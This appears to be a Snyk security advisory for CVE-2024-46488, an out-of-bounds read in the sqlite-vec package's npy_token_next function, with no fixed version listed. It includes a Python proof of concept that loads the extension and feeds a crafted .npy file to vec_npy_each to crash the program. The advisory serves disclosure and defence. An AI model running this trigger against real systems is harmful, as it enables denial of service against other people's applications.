Out-of-bounds Read Affecting asg017/sqlite-vec package, versions [0,]
Threat Intelligence
Exploit Maturity
Proof of concept
EPSS
0.04% (14th
percentile)
Do your applications use this vulnerable package?
In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.
Test your applications- Snyk ID SNYK-UNMANAGED-ASG017SQLITEVEC-8097311
- published 26 Sep 2024
- disclosed 25 Sep 2024
- credit VulnSphere
Introduced: 25 Sep 2024
CVE-2024-46488 Open this link in a new tabHow to fix?
There is no fixed version for asg017/sqlite-vec
.
Overview
Affected versions of this package are vulnerable to Out-of-bounds Read via the npy_token_next
function. An attacker can cause a program to crash or become unresponsive by supplying a specially crafted file.
PoC
import sqlite3
def execute_all(cursor, sql, args=None):
if args is None:
args = []
results = cursor.execute(sql, args).fetchall()
return list(map(lambda x: dict(x), results))
def connect(ext, path=":memory:", extra_entrypoint=None):
db = sqlite3.connect(path)
db.enable_load_extension(True)
db.load_extension(ext)
db.row_factory = sqlite3.Row
return db
db = connect("./dist/vec0")
vec_npy_each_f = lambda *args: execute_all(
db, "select * from vec_npy_each(?)", args
)
with open("./poc.npy", "rb") as f:
data = f.read()
print(vec_npy_each_f(data))